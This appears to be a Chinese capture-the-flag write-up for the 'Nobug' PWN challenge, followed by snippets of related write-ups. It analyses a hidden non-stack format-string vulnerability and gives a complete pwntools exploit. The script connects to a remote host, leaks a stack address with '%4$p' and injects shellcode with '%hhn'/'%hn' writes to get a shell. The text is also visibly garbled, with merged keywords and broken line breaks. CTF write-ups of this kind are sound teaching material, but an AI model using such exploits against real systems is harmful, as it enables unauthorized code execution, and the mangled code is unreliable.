攻防世界PWN之Nobug題解

2021-10-01 14:39:41 字數 3169 閱讀 9713

首先,檢查一下程式的保護機制

pie和nx沒開,那麼,我們可以輕鬆的布置shellcode到棧裡或bss段或堆裡,然後跳轉。免去了洩露libc位址這些。

然後,我們用ida分析一下

看似好像這裡sprintf不存在漏洞,我們再看看其他函式

看見乙個很複雜的函式,我們看看那個位址處是什麼

是查表法,看起來像某種加密或解密演算法,又由於不需要秘鑰,我們推測可能是base64加密或解密,然後,我們測試一下。

我們輸入明文,輸出總是亂碼,我們輸入base64字串,發現正常輸出了解密後的內容,由此,我們知道了,這個函式的作用是解密base64字串。

然後,我們繼續找找,也沒發現什麼可疑的地方。再看看其他沒有用到的函式

發現這裡有乙個格式化字串漏洞的函式,但是似乎這個函式沒有被呼叫,真的是這樣嗎?

對於sub_8048b76函式,ida檢視偽**是這樣的

我們再看看彙編**

程式結尾,通過修改

esp,決定了

retn的返回位址,這類似於

rop技術的思想,由此看來,分析程式不能完全依靠

ida的為**

分析完了,其實就是存在乙個非棧上的格式化字串漏洞。

我們通過

%4$hhn來修改

%12$處的資料為

%13$的位址,然後通過

%12$hhn來修改

%13$處為

shellcode的位址,然後就能

getshell了。我們只需要覆蓋低

2位元組就行了,因為前面是一樣的。需要注意的是,這幾個操作必須在一次完成。

我們需要洩露%4$處的資料,以計算出我們需要攻擊的目標%13$的位址

payload = base64.b64encode(

'%4$p'

)  sh.sendline(payload)  

sh.recvuntil(

'0x'

)  #

洩露我們需要修改的目標的位址

target_addr = int(sh.recvuntil(

'\n'

,drop = true),16) + 4  

接下來,就是一次性的修改,getshell。

綜上,我們的exp指令碼

#coding:utf8

frompwnimport*  

importbase64  

sh = remote(

'111.198.29.45'

,31218)  

#sh = process('./pwnh40')

elf = elf(

'./pwnh40'

)  #

我們輸入的

shellcode

解密後會被儲存到這裡

shellcode_addr = 0x804a0a0  

#shellcode

shellcode = asm(shellcraft.i386.sh())  

payload = base64.b64encode(

'%4$p'

)  sh.sendline(payload)  

sh.recvuntil(

'0x'

)  #

洩露我們需要修改的目標的位址

target_addr = int(sh.recvuntil(

'\n'

,drop = true),16) + 4  

printhex(target_addr)  #傳送

shellcode

,同時,

覆蓋%12$

處為target

位址,同時將

target

處修改為

shellcode_addr

payload = base64.b64encode(shellcode + 

'%'+ str((target_addr & 0xff) - len(shellcode)) + 

'c%4$hhn%'

+ str((shellcode_addr & 0xff) - (target_addr & 0xff)) + 

'c%12$hn'

)  #getshell

sh.sendline(payload)  

sh.interactive()  

本題告訴我們,分析程式時,不要完全依賴ida的偽**。同時,對於一些複雜的演算法,可以推測並嘗試一下,說不定就是呢。

攻防世界PWN之Welpwn題解

首先用ida檢視 發現主函式不能棧溢位,我們看看echo這個函式 echo會把主函式輸入的字串複製到區域性的s2裡,並且s2只有16位元組,可以造成溢位。echo函式先迴圈複製字元到s2,如果遇到0,就結束複製,然後輸出s2。因此,我們如果想直接覆蓋函式返回位址,那麼我們的目標函式必須沒有引數,否則...

攻防世界PWN之dubblesort題解

首先看一下程式的保護機制 保護全開,並且是乙個32位程式 然後,我們用ida分析一下 這裡,有兩個漏洞 第乙個是在呼叫read之前,沒有呼叫memset對 buf清空,因此,buf裡可能之前會有一些殘留的關鍵資料 第二個是,輸入的整數個數沒有上限,可以造成資料溢位,其實也就是棧溢位。我們在read斷...

攻防世界PWN之easy fmt題解

首先,檢查一下程式的保護機制 然後,我們用ida分析一下 存在乙個明顯的格式化字串漏洞,但是只能用一次,後面exit 0 會結束程式 checkin需要爆破 是乙個隨機數,且只有一位,我們直接輸入2,成功率1 10 為了不讓程式退出,多次利用printf,我們就得利用第一次的printf把exit的...